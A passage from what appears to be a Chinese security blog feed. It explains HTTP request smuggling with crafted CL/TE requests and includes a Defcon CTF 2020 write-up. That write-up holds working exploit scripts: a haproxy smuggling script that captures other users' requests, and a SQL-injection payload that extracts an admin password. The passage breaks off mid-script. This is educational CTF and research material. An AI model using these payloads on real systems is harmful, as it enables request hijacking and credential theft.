class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><h3 id="TE-CL">TE-CL</h3><p>和上一种情况类似,但是此时前置服务器认为<code>Transfer-Encoding</code>优先级更高,后端认为<code>Content-Length</code>优先级更高(或者不支持<code>Transfer-Encoding</code>)。如以下报文:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">POST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 4<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Transfer-Encoding: chunked<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">12<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">POST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">0<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><p>在这个例子中,前置服务器使用<code>TE</code>进行处理,即使用<code>\r\n\r\n</code>作为结束标识,所以可以将这个报文全部读取,而在后端服务器中,使用<code>CL</code>进行处理,此时该值为<code>4</code>,则后端解析的请求体为:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">12<span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><p>至于剩下的内容,则会被后端服务器解析到另一个请求中:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">POST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">0<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><h3 id="TE-TE">TE-TE</h3><p>上述已经说了<code>CL-CL</code>的情况,那如果前置和后端服务器都优先支持<code>Transfer-Encoding</code>,是否可以进行请求走私呢?</p><p>答案显然是可以的,这里我们可以对服务器的实现进行分析和FUZZ,恶意构造出使其中一个服务器不优先支持<code>TE</code>的请求(或者无法识别到<code>TE</code>),从而使其转而使用<code>CL</code>进行解析处理。这里如果是使前置服务器产生混淆,则就变成了另外一种形式的<code>CL-TE</code>,类似的,使后端服务器混淆则变成了另一种形式的<code>TE-CL</code>。</p><p>那么如何导致这种混淆呢?这里一种比较简单的方法是使用大小写,如果前置服务器和后端服务器在解析<code>TE</code>的时候对大小写敏感,则可能会导致这样的情况,或者使用一个不符合规范的<code>TE</code>头,使得其中一个服务器解析失败,转而使用<code>CL</code>。</p><p>下面为一个样例,需要注意的是,因为产生混淆后需要让服务器以<code>CL</code>进行处理,所以这里是使用了一个<code>CL</code>,两个<code>TE</code>,下面这个样例通过混淆将<code>TE-TE</code>转为了<code>TE-CL</code>:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">POST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Host: example.com<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-length: 4<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Transfer-Encoding: chunked<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Transfer-encoding: cow<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">5c<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">GetPOST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 15<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">x=1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">0<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><p>对于上述请求,可以看到前后的<code>Transfer-Encoding</code>,E的大小写不同,并且后一个<code>TE</code>中使用<code>cow</code>,因此可能导致识别的不同。前置服务器使用正常的<code>TE</code>进行解析,因此得到的请求体为完整的,而后端服务器因为对<code>TE</code>解析失败,因此使用<code>CL</code>进行解析,则只能解析到下面的请求体:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">5c<span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><p>而后续其他的内容则会当做是下一个请求的内容:</p><figure class="highlight taggerscript"><table><tr><td class="code"><pre><span class="line">GetPOST / HTTP/1.1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Type: application/x-www-form-urlencoded<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">Content-Length: 15<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">x=1<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line">0<span class="symbol">\r</span><span class="symbol">\n</span></span><br><span class="line"><span class="symbol">\r</span><span class="symbol">\n</span></span><br></pre></td></tr></table></figure><h2 id="利用与防御">利用与防御</h2><p>关于上述所说的一些场景,<a href="https://portswigger.net/web-security/request-smuggling/exploiting" target="_blank" rel="noopener">PortSwigger</a>中有一些具体的实验,可以进行尝试从而加深理解,而在现实应用中,请求走私攻击又可能会导致怎么样的后果呢?</p><p>有一个现成的例子就是在<code>Defcon CTF 2020 Qual</code>中的<code>uploooadit</code>一题,有兴趣的可以<a href="https://www.xiaozblog.top/2020/05/22/Defcon-CTF-Qual-2020-Web-WP/#uploooadit">尝试复现</a>。另外,<code>PortSwigger</code>也对其现实危害进行了归纳:</p><ul><li>绕过前置服务器的安全限制</li><li>获取前置服务器修改过的请求字段</li><li>获取其他用户的请求</li><li>反射型<code>XSS</code>组合拳</li><li>将<code>on-site</code>重定向变为开放式重定向</li><li>缓存投毒</li><li>缓存欺骗</li></ul><p>一样的,结合<code>PortSwigger</code>给出的实验会更容易理解,另外,如果不满足于这些的话,可以搭建一下<code>CVE-2018-8004</code>的环境进行<a href="https://paper.seebug.org/1048/#4-httpcve-2018-8004" target="_blank" rel="noopener">复现</a>。</p><p>而对于请求走私如何防御呢?</p><blockquote><p>不针对特定的服务器,通用的防御措施大概有三种:</p><ul><li>禁用代理服务器与后端服务器之间的TCP连接重用。</li><li>使用HTTP/2协议。</li><li>前后端使用相同的服务器。</li></ul></blockquote><p>其实,归根到底的话,这些防御措施都是在已有这样的问题的情况下如何进行防御,在条件允许的情况下,如果能够严格遵循<code>RFC</code>中的规范来设计实现服务器的话,想必可以最大程度上减少此类问题的发生。当然,这一点可能又会因为各种其他因素而变得并不容易。</p><h2 id="总结">总结</h2><p>其实<code>HTTP Smuggling</code>并不是最近才兴起的,而是一个长久以来都存在的问题,这种因为处理的不一致性而导致的问题很多,其中不光是有请求走私这种,另外还有可能可以利用不一致性绕过<code>Web</code>应用中的<code>check</code>,或者引发其他问题,比如之前所接触的同组学长发现的利用<code>CDN</code>和源站对<code>Range</code>头的解析差异而导致可以<a href="https://ieeexplore.ieee.org/document/9153355/" target="_blank" rel="noopener">使用CDN进行Dos攻击</a>。</p><p>总得来说,互联网野草般的发展,决定了总体环境的多样化与多元化,而开发者设计和实现的不一致,也可能会导致很多问题。规范的制定在一定程度上避免了这样的问题发生,但是总归系统的实现者是一个独立的灵魂和个体,不同的机构和组织也会有自己的一些考虑,从而在规范的遵循上会有差异,这类问题往往也是无法避免的,而作为一个安全研究者,如果能够发掘一些这样的问题,从而减少一些由此带来的危害,相比会是件很意思也很有意义的事。</p><h2 id="参考文献">参考文献</h2><ul><li><a href="https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/" target="_blank" rel="noopener">一篇文章带你读懂 HTTP Smuggling 攻击</a></li><li><a href="https://www.cnblogs.com/PixelOrange/p/13445275.html" target="_blank" rel="noopener">HTTP走私攻击详解</a></li><li><a href="https://xz.aliyun.com/t/7501" target="_blank" rel="noopener">浅谈HTTP请求走私</a></li><li><a href="https://portswigger.net/web-security/request-smuggling/exploiting" target="_blank" rel="noopener">PortSwigger Lab</a></li><li><a href="https://tools.ietf.org/html/rfc7230" target="_blank" rel="noopener">RFC 7230</a></li><li><a href="https://tools.ietf.org/html/rfc2616#section-4.4" target="_blank" rel="noopener">RFC 2616</a></li><li><a href="https://dl.packetstormsecurity.net/papers/general/whitepaper_httpresponse.pdf" target="_blank" rel="noopener">HTTP Response Splitting</a></li><li><a href="https://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf" target="_blank" rel="noopener">HTTP Request Smuggling</a></li><li><a href="https://media.defcon.org/DEF%20CON%2027/DEF%20CON%2027%20presentations/DEFCON-27-albinowax-HTTP-Desync-Attacks.pdf%5D" target="_blank" rel="noopener">HTTP Desync Attacks: Smashing into the Cell Next Door</a></li></ul>]]></content>
<summary type="html">
前几天打的 defcon ctf qual 里有一题 uploooadit ,里面涉及到 HTTP Smuggling | HTTP Desync Attacks ,也就是 HTTP走私攻击,是一个很有趣的攻击方式了,而这个其实也和自己正在弄的协议一致性研究有所关联,于是参考了些论文和一些师傅的博客,回顾一下,并做个记录。
</summary>
<category term="Web漏洞介绍" scheme="http://www.xiaozblog.top/categories/Web%E6%BC%8F%E6%B4%9E%E4%BB%8B%E7%BB%8D/"/>
<category term="CTF" scheme="http://www.xiaozblog.top/tags/CTF/"/>
<category term="Web漏洞" scheme="http://www.xiaozblog.top/tags/Web%E6%BC%8F%E6%B4%9E/"/>
</entry>
<entry>
<title>Defcon_CTF_Qual_2020-Web-WP</title>
<link href="http://www.xiaozblog.top/2020/05/22/Defcon-CTF-Qual-2020-Web-WP/"/>
<id>http://www.xiaozblog.top/2020/05/22/Defcon-CTF-Qual-2020-Web-WP/</id>
<published>2020-05-22T05:32:15.000Z</published>
<updated>2020-08-30T08:56:34.000Z</updated>
<content type="html"><![CDATA[<p>打了一波<code>defcon qual</code>,不愧为CTF的殿堂级比赛,还是学到了很多新东西的。</p><h2 id="uploooadit">uploooadit</h2><p>这个题目还是很有意思的,也学到了新姿势,里面涉及了<code>HTTP Smuggling</code>,在这篇文章里就不展开叙述后,后续会补一篇进行详细介绍。</p><p>首先对题目给的源码进行分析,题目环境<code>OOO(Order-of-the-Overflow)</code>在<a href="https://github.com/o-o-overflow/dc2020q-uploooadit" target="_blank" rel="noopener">Git</a>中已经给出来了。</p><ul><li><a href="http://app.py" target="_blank" rel="noopener">app.py</a></li></ul><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> os</span><br><span class="line"><span class="keyword">import</span> re</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, abort, request</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> store</span><br><span class="line"></span><br><span class="line">GUID_RE = re.compile(</span><br><span class="line"> <span class="string">r"\A[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\Z"</span></span><br><span class="line">)</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line">app.config[<span class="string">"MAX_CONTENT_LENGTH"</span>] = <span class="number">512</span></span><br><span class="line">filestore = store.S3Store()</span><br><span class="line"></span><br><span class="line"><span class="comment"># Uncomment the following line for simpler local testing of this service</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># filestore = store.LocalStore()</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route("/files/", methods=["POST"])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add_file</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="keyword">if</span> request.headers.get(<span class="string">"Content-Type"</span>) != <span class="string">"text/plain"</span>:</span><br><span class="line"> abort(<span class="number">422</span>)</span><br><span class="line"></span><br><span class="line"> guid = request.headers.get(<span class="string">"X-guid"</span>, <span class="string">""</span>)</span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> GUID_RE.match(guid):</span><br><span class="line"> abort(<span class="number">422</span>)</span><br><span class="line"></span><br><span class="line"> filestore.save(guid, request.data)</span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>, <span class="number">201</span></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route("/files/<guid>", methods=["GET"])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">get_file</span><span class="params">(guid)</span>:</span></span><br><span class="line"> <span class="keyword">if</span> <span class="keyword">not</span> GUID_RE.match(guid):</span><br><span class="line"> abort(<span class="number">422</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">return</span> filestore.read(guid), {<span class="string">"Content-Type"</span>: <span class="string">"text/plain"</span>}</span><br><span class="line"> <span class="keyword">except</span> store.NotFound:</span><br><span class="line"> abort(<span class="number">404</span>)</span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route("/", methods=["GET"])</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">root</span><span class="params">()</span>:</span></span><br><span class="line"> <span class="keyword">return</span> <span class="string">""</span>, <span class="number">204</span></span><br></pre></td></tr></table></figure><ul><li><a href="http://store.py" target="_blank" rel="noopener">store.py</a></li></ul><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="string">"""Provides two instances of a filestore.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">There is not intended to be any vulnerability contained within this code. This file is provided to</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">make it easier to test locally without needing access to an S3 bucket.</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-OOO</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">"""</span></span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> boto3</span><br><span class="line"><span class="keyword">import</span> botocore</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">NotFound</span><span class="params">(Exception)</span>:</span></span><br><span class="line"> <span class="keyword">pass</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">LocalStore</span>:</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"> <span class="keyword">import</span> tempfile</span><br><span class="line"> self.upload_directory = tempfile.mkdtemp()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">read</span><span class="params">(self, key)</span>:</span></span><br><span class="line"> filepath = os.path.join(self.upload_directory, key)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="keyword">with</span> open(filepath, <span class="string">"rb"</span>) <span class="keyword">as</span> fp:</span><br><span class="line"> <span class="keyword">return</span> fp.read()</span><br><span class="line"> <span class="keyword">except</span> FileNotFoundError:</span><br><span class="line"> <span class="keyword">raise</span> NotFound</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">save</span><span class="params">(self, key, data)</span>:</span></span><br><span class="line"> <span class="keyword">with</span> open(os.path.join(self.upload_directory, key), <span class="string">"wb"</span>) <span class="keyword">as</span> fp:</span><br><span class="line"> fp.write(data)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">S3Store</span>:</span></span><br><span class="line"> <span class="string">"""Credentials grant access only to resource s3://BUCKET/* and only for:</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> * GetObject</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> * PutObject</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"> """</span></span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">__init__</span><span class="params">(self)</span>:</span></span><br><span class="line"> self.bucket = os.environ[<span class="string">"BUCKET"</span>]</span><br><span class="line"> self.s3 = boto3.client(<span class="string">"s3"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">read</span><span class="params">(self, key)</span>:</span></span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> response = self.s3.get_object(Bucket=self.bucket, Key=key)</span><br><span class="line"> <span class="keyword">except</span> botocore.exceptions.ClientError <span class="keyword">as</span> exception:</span><br><span class="line"> <span class="keyword">if</span> exception.response[<span class="string">"ResponseMetadata"</span>][<span class="string">"HTTPStatusCode"</span>] == <span class="number">403</span>:</span><br><span class="line"> <span class="keyword">raise</span> NotFound</span><br><span class="line"> <span class="comment"># No other exceptions encountered during testing</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> response[<span class="string">"Body"</span>].read()</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">save</span><span class="params">(self, key, data)</span>:</span></span><br><span class="line"> self.s3.put_object(</span><br><span class="line"> Body=data, Bucket=self.bucket, ContentType=<span class="string">"text/plain"</span>, Key=key</span><br><span class="line"> )</span><br></pre></td></tr></table></figure><p>审源码发现,题目可以通过<code>s3://BUCKET/</code>上传文件,并且可以查看文件。于是开始尝试看是否可以查看到一些有用的文件,可以发现文件保存和查看使用的是<code>uuid</code>,于是写脚本读了一些文件,但是发现并没有什么有用的信息。</p><p>没啥思路,开始搜集一些其他信息,先看看<code>http</code>报文,发现在<code>response</code>中有一些信息:</p><p><img src="/image/202005_defcon/1.png" alt=""></p><p><img src="/image/202005_defcon/3.png" alt=""></p><p>可以看到这个题使用了<code>haproxy 1.9.10</code>作为代理,并且这里是可以知道题目后端使用的是<code>gunicorn</code>的,谷歌一下,看看是否存在什么漏洞。发现<code>haproxy</code>中有一个<a href="https://nathandavison.com/blog/haproxy-http-request-smuggling" target="_blank" rel="noopener">smuggling的洞</a>,这里也需要再确定一下,这个版本是否有修改这一漏洞,到<code>releases</code>里<a href="https://github.com/benoitc/gunicorn/releases" target="_blank" rel="noopener">可以看到</a>,该漏洞的<code>fix</code>是在20.0.1版本才上的。</p><p><img src="/image/202005_defcon/2.png" alt=""></p><p>这里再仔细看一下这个利用方式,<code>Smuggling</code>其实是利用了<code>HTTP</code>协议本身的问题:<code>HTTP中</code>存在两种方式来指定请求的结束位置。因此,相同的<code>HTTP</code>请求,不同的服务器可能会产生不同的处理结果,这样就产生了安全风险。</p><p>比如你发了一个实际长501的包,前部服务器认为它是501长没错,但是后部服务器却以为它是250。而剩下的251长度呢?它被储存到了服务器的缓存中,当下个http包过来的时候,他就会把那部分剩下的包给加在下个包前面。而这251长拼接进去的包就是http请求走私的包。</p><p>而在这个题目中所涉及的<code>haproxy</code>的请求走私,其实是因为<code>haproxy</code>和<code>gunicorn</code>都是遵循<code>RFC2616</code>的实现,<code>haproxy</code>处理的时候是按<code>Content-Length</code>解析的,然后在发往后端<code>gunicorn</code>的时候把<code>Content-Length</code>抛弃了,只留下<code>Transfer-Encoding</code>,从而引发了<code>HTTP Smuggling</code>。</p><p>这题的思路,其实就是利用这个请求走私,偷请求流量,这里先写一个脚本跑一下看看能偷到什么:先上传文件,然后用\x0b绕过haproxy的识别。再用一个很长的<code>Content-Length</code>,将第2个请求走私,从而偷到流量,第2个请求就是个简单的文件上传就行了,最后读取第2个请求的<code>guid</code>对应的文件。</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> socket</span><br><span class="line"><span class="keyword">import</span> ssl</span><br><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">from</span> requests.packages.urllib3.exceptions <span class="keyword">import</span> InsecureRequestWarning</span><br><span class="line"></span><br><span class="line">requests.packages.urllib3.disable_warnings(InsecureRequestWarning)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">https</span><span class="params">()</span>:</span></span><br><span class="line"> context = ssl.create_default_context()</span><br><span class="line"> data = <span class="string">b'''4</span></span><br><span class="line"><span class="string">abcd</span></span><br><span class="line"><span class="string">0</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">POST /files/ HTTP/1.1</span></span><br><span class="line"><span class="string">Host: uploooadit.oooverflow.io</span></span><br><span class="line"><span class="string">X-guid: 99999999-9999-9999-9999-999999999900</span></span><br><span class="line"><span class="string">Content-Type: text/plain</span></span><br><span class="line"><span class="string">Content-Length: 512</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'''</span>.replace(<span class="string">b'\n'</span>, <span class="string">b'\r\n'</span>)</span><br><span class="line"> p = <span class="string">b'''POST /files/ HTTP/1.1</span></span><br><span class="line"><span class="string">Host: uploooadit.oooverflow.io</span></span><br><span class="line"><span class="string">Content-Type: text/plain</span></span><br><span class="line"><span class="string">X-guid: 12345678-9123-4567-8912-1234567890ac</span></span><br><span class="line"><span class="string">Content-Length: '''</span> + str(len(data)).encode() + <span class="string">b'''</span></span><br><span class="line"><span class="string">Transfer-Encoding: \x0cchunked</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"> p = p.replace(<span class="string">b'\n'</span>, <span class="string">b'\r\n'</span>) + data</span><br><span class="line"> <span class="keyword">with</span> socket.create_connection((<span class="string">'uploooadit.oooverflow.io'</span>, <span class="number">443</span>), timeout=<span class="number">5</span>) <span class="keyword">as</span> conn:</span><br><span class="line"> <span class="keyword">with</span> context.wrap_socket(conn, server_hostname=<span class="string">'uploooadit.oooverflow.io'</span>) <span class="keyword">as</span> sconn:</span><br><span class="line"> sconn.send(p) </span><br><span class="line"> sconn.recv(<span class="number">10240</span>).decode()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">getone</span><span class="params">()</span>:</span></span><br><span class="line"> url = <span class="string">"https://uploooadit.oooverflow.io/files/99999999-9999-9999-9999-999999999900"</span></span><br><span class="line"> res = requests.get(url=url, verify=<span class="literal">False</span>)</span><br><span class="line"> <span class="keyword">return</span> res.text</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> content = <span class="string">""</span></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> https()</span><br><span class="line"> tmpcon = getone()</span><br><span class="line"> <span class="keyword">if</span> content != tmpcon:</span><br><span class="line"> content = tmpcon</span><br><span class="line"> <span class="keyword">with</span> open(<span class="string">'run.log'</span>,<span class="string">'a+'</span>) <span class="keyword">as</span> f:</span><br><span class="line"> f.write(content + <span class="string">'\n'</span>)</span><br><span class="line"> <span class="keyword">except</span>:</span><br><span class="line"> <span class="keyword">pass</span></span><br></pre></td></tr></table></figure><p>这里跑的时候发现可以偷到各种请求,应该是偷到了别的队伍的,证明这个漏洞的确有用,但是没拿到flag,猜测是因为流量太多了,于是慢慢等,过了很久之后拿到一个流量,里面有一截<code>flag</code>,应该是主办方有设置一个<code>Bot</code>在上传<code>flag</code>文件</p><figure class="highlight delphi"><table><tr><td class="code"><pre><span class="line">OOO<span class="comment">{That girl thinks she's the queen of the ne</span></span><br></pre></td></tr></table></figure><p>继续跑,但是一直不全,跑了好久后终于拿到了…(后面才发现这个flag里面的内容原来是歌词,其实可以根据<code>Content-Length</code>长度和歌词来猜flag的)</p><figure class="highlight pgsql"><table><tr><td class="code"><pre><span class="line">OOO{That girl thinks sh<span class="string">e's the queen of the neighborhood/She'</span>s got the hottest trike <span class="keyword">in</span> town/That girl she holds her head up so high/I think I wanna be her best friend, yeah}</span><br></pre></td></tr></table></figure><p>这里也给一下官方提供的EXP</p><figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line">import socket</span><br><span class="line">import ssl</span><br><span class="line">import sys</span><br><span class="line">import uuid</span><br><span class="line"></span><br><span class="line">import requests</span><br><span class="line"></span><br><span class="line">CLTE_TEMPLATE = <span class="string">""</span><span class="string">"GET / HTTP/1.1</span></span><br><span class="line"><span class="string">Host: {hostname}</span></span><br><span class="line"><span class="string">User-Agent: attacker</span></span><br><span class="line"><span class="string">Content-Length: {length}</span></span><br><span class="line"><span class="string">Transfer-Encoding:\x0bchunked</span></span><br><span class="line"><span class="string">0</span></span><br><span class="line"><span class="string">"</span><span class="string">""</span></span><br><span class="line">GUID = str(uuid.uuid4())</span><br><span class="line"></span><br><span class="line">def request(content, hostname, port):</span><br><span class="line"> <span class="builtin-name">print</span>(content)</span><br><span class="line"> <span class="builtin-name">print</span>()</span><br><span class="line"></span><br><span class="line"> def issue_request(server):</span><br><span class="line"> assert server.send(content) == len(content)</span><br><span class="line"> data = server.recv(1024)</span><br><span class="line"> <span class="keyword">while</span> len(data) > 0:</span><br><span class="line"> <span class="builtin-name">print</span>(data.decode(<span class="string">"utf-8"</span>))</span><br><span class="line"> data = server.recv(1024)</span><br><span class="line"></span><br><span class="line"> with socket.create_connection((hostname, port)) as raw_socket:</span><br><span class="line"> <span class="keyword">if</span><span class="built_in"> port </span>== 443:</span><br><span class="line"> context = ssl.create_default_context()</span><br><span class="line"> with context.wrap_socket(raw_socket, <span class="attribute">server_hostname</span>=hostname) as server:</span><br><span class="line"> issue_request(server)</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> issue_request(raw_socket)</span><br><span class="line"> try:</span><br><span class="line"> raw_socket.shutdown(socket.SHUT_RDWR)</span><br><span class="line"> except:</span><br><span class="line"> pass</span><br><span class="line"></span><br><span class="line">def clte(payload, hostname):</span><br><span class="line"> offset = 5 + payload.count(<span class="string">"\n"</span>)</span><br><span class="line"> return (</span><br><span class="line"> (CLTE_TEMPLATE.format(<span class="attribute">hostname</span>=hostname, <span class="attribute">length</span>=len(payload) + offset) + payload)</span><br><span class="line"> .replace(<span class="string">"\n"</span>, <span class="string">"\r\n"</span>)</span><br><span class="line"> .encode(<span class="string">"utf-8"</span>)</span><br><span class="line"> )</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line"> <span class="keyword">if</span> len(sys.argv) == 2 <span class="keyword">and</span> sys.argv[1] == <span class="string">"--local"</span>:</span><br><span class="line"> hostname = <span class="string">"localhost"</span></span><br><span class="line"> <span class="built_in"> port </span>= 8080</span><br><span class="line"> url = f<span class="string">"http://localhost:8080/files/{GUID}"</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> hostname = <span class="string">"uploooadit.oooverflow.io"</span></span><br><span class="line"> <span class="built_in"> port </span>= 443</span><br><span class="line"> url = f<span class="string">"https://uploooadit.oooverflow.io/files/{GUID}"</span></span><br><span class="line"></span><br><span class="line"> payload = f<span class="string">""</span><span class="string">"POST /files/ HTTP/1.1</span></span><br><span class="line"><span class="string">Connection: close</span></span><br><span class="line"><span class="string">Content-Length: 385</span></span><br><span class="line"><span class="string">Content-Type: text/plain</span></span><br><span class="line"><span class="string">User-Agent: hacked</span></span><br><span class="line"><span class="string">X-guid: {GUID}</span></span><br><span class="line"><span class="string">"</span><span class="string">""</span></span><br><span class="line"> request(clte(payload, hostname), hostname, port)</span><br><span class="line"> response = requests.<span class="builtin-name">get</span>(url)</span><br><span class="line"> <span class="builtin-name">print</span>(response.content.decode(<span class="string">"utf-8"</span>))</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">"__main__"</span>:</span><br><span class="line"> sys.exit(main())</span><br></pre></td></tr></table></figure><h2 id="Ooonline-Class">Ooonline Class</h2><p><a href="https://github.com/o-o-overflow/dc2020q-ooonline-class-public" target="_blank" rel="noopener">题目环境</a>主办方已给出</p><p>这题没来得及做,在<code>Dogooos</code>中踩坑踩了半天,等出坑已经快结束了,后续看了下其他师傅的解法,好像题目一出来就有了非预期解,在登录处直接用<code>SQL injection</code>即可拿到<code>smart</code>账号,附上主办方给的<code>EXP</code>:</p><figure class="highlight routeros"><table><tr><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python3</span></span><br><span class="line"></span><br><span class="line">import json</span><br><span class="line">import random</span><br><span class="line">import requests</span><br><span class="line">import sys</span><br><span class="line">import time</span><br><span class="line"></span><br><span class="line">import logging</span><br><span class="line">logging.basicConfig(<span class="attribute">level</span>=logging.DEBUG)</span><br><span class="line"></span><br><span class="line">def main():</span><br><span class="line"></span><br><span class="line"> host = sys.argv[1]</span><br><span class="line"> <span class="built_in"> port </span>= int(sys.argv[2])</span><br><span class="line"></span><br><span class="line"> url = f<span class="string">"http://{host}:{port}"</span></span><br><span class="line"></span><br><span class="line"> username = f<span class="string">"attack{random.randint(0, 1000000)}"</span></span><br><span class="line"> passwd = <span class="string">"testing"</span></span><br><span class="line"></span><br><span class="line"> exploit_username = f<span class="string">"{username}','{passwd}')returning(id),(select(password)from\"users\"where(id)=1)--"</span></span><br><span class="line"></span><br><span class="line"> result = requests.post(f<span class="string">"{url}/user/register"</span>,</span><br><span class="line"> <span class="attribute">json</span>=dict(name=exploit_username,</span><br><span class="line"> <span class="attribute">passwd</span>=passwd))</span><br><span class="line"> assert result.status_code == 200</span><br><span class="line"> r = result.json()</span><br><span class="line"> admin_pass = r[<span class="string">'returning_from_db_name'</span>]</span><br><span class="line"> assert admin_pass == <span class="string">"zKSTznZYGD"</span></span><br><span class="line"></span><br><span class="line"> username = 